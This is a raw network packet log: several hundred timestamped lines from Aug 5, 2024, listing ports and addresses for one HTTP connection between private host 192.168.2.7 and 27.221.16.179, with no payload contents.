Aug 5, 2024 12:01:05.922137022 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.922137022 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.922137022 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.922152042 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.922183037 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.923053026 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923063993 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923074007 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923084021 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923094034 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923105001 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923115015 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923119068 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.923125982 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923135996 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923146963 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.923146963 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923157930 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923167944 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923177958 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923188925 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923192978 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.923202991 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923207045 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.923230886 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.923919916 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923930883 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923939943 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923949957 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923959017 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.923959017 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923969984 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923979998 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.923989058 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.923990011 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.924001932 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.924011946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.924016953 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.924022913 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.924031973 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.924041986 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.924052000 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.924062967 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.924081087 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.924081087 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.924082041 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.924096107 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.006010056 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006055117 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006091118 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.006172895 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006227016 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006237984 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006292105 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.006359100 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006371021 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006388903 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006401062 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.006443977 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.006572008 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006582975 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006594896 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006607056 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006623030 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.006649017 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.006814957 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006827116 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006838083 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006864071 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006866932 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.006875038 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006886005 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006896973 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006906986 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.006917000 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.006917000 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.006956100 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.007383108 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.007394075 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.007404089 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.007415056 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.007426023 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.007431030 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.007436991 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.007447958 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.007458925 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.007458925 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.007468939 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.007499933 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.007499933 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.007988930 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.007999897 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008011103 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008022070 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008032084 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008043051 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008053064 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008063078 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008074045 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008081913 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.008081913 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.008081913 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.008084059 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008105040 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008116007 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008116961 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.008126020 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008137941 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008168936 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.008191109 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.008694887 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008707047 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008718014 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008728027 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.008747101 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.008784056 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.245696068 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.245734930 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.245745897 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.245775938 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.245872974 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.245884895 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.245896101 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.245907068 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.245923996 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.245961905 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.246094942 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246109009 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246135950 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246146917 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246159077 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246162891 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.246170044 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246176004 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.246181965 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246191978 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246202946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246206999 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.246253014 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.246253014 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.246498108 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246509075 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246546030 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.246637106 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246646881 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246665001 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246680975 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246694088 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246709108 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246717930 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.246717930 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.246720076 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246731043 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246742964 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246752024 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246763945 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246774912 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.246783972 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.246783972 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.246845961 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.247273922 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247284889 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247296095 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247306108 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247317076 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247328043 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247328997 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.247339010 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247349024 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247359991 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247359991 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.247380018 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.247405052 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.247672081 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247688055 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247699022 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247709990 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247714996 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.247721910 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247733116 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247740984 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.247744083 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247755051 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247766018 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.247773886 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.247773886 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.247819901 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.248234987 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248251915 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248265028 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248270035 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248275042 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248280048 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248284101 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248289108 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248292923 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248296976 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248301983 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248306036 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248310089 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248313904 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248322010 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.248322010 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.248326063 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248337984 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248347998 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248357058 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.248378992 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.248378992 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.248425007 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.249254942 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.249267101 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.249277115 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.249286890 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.249298096 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.249308109 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.249317884 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.249320984 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.249320984 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.249330044 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.249340057 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.249351025 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.249357939 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.249361992 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.249372959 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.249376059 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.249382973 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.249394894 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.249401093 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.249435902 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.249435902 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.250195980 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250207901 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250219107 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250230074 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250241041 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250252962 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250258923 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.250262976 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250273943 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250283957 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250296116 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250296116 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.250296116 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.250307083 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250318050 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250329018 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250333071 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.250339985 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250349998 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250360012 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.250360012 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.250360966 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250370979 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250381947 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250391960 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.250401974 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.250401974 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.250458002 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.251036882 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.251053095 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.251058102 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.251061916 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.251068115 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.251071930 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.251077890 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.251081944 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.251086950 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.251091003 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.251095057 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.251106024 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.251106024 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.251143932 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.334718943 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.334747076 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.334758043 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.334816933 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.334897041 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.334908009 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.334920883 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.334933043 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.334953070 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.334975958 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.335150003 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335161924 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335172892 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335184097 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335196018 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335206985 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335215092 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.335217953 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335242987 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.335288048 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.335450888 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335462093 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335472107 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335484028 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335495949 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335505009 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335530996 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.335535049 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335546970 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335555077 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.335557938 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335570097 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335582018 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335597038 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.335602045 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.335628986 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.335666895 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.336087942 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336098909 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336110115 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336122036 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336124897 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336134911 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336138964 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.336144924 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336155891 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336167097 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336177111 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336188078 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336195946 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.336195946 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.336225986 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.336735964 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336746931 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336760044 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336770058 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336781025 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336783886 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:06.336791039 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:06.336800098 CEST	49864	80	192.168.2.7	27.221.16.179
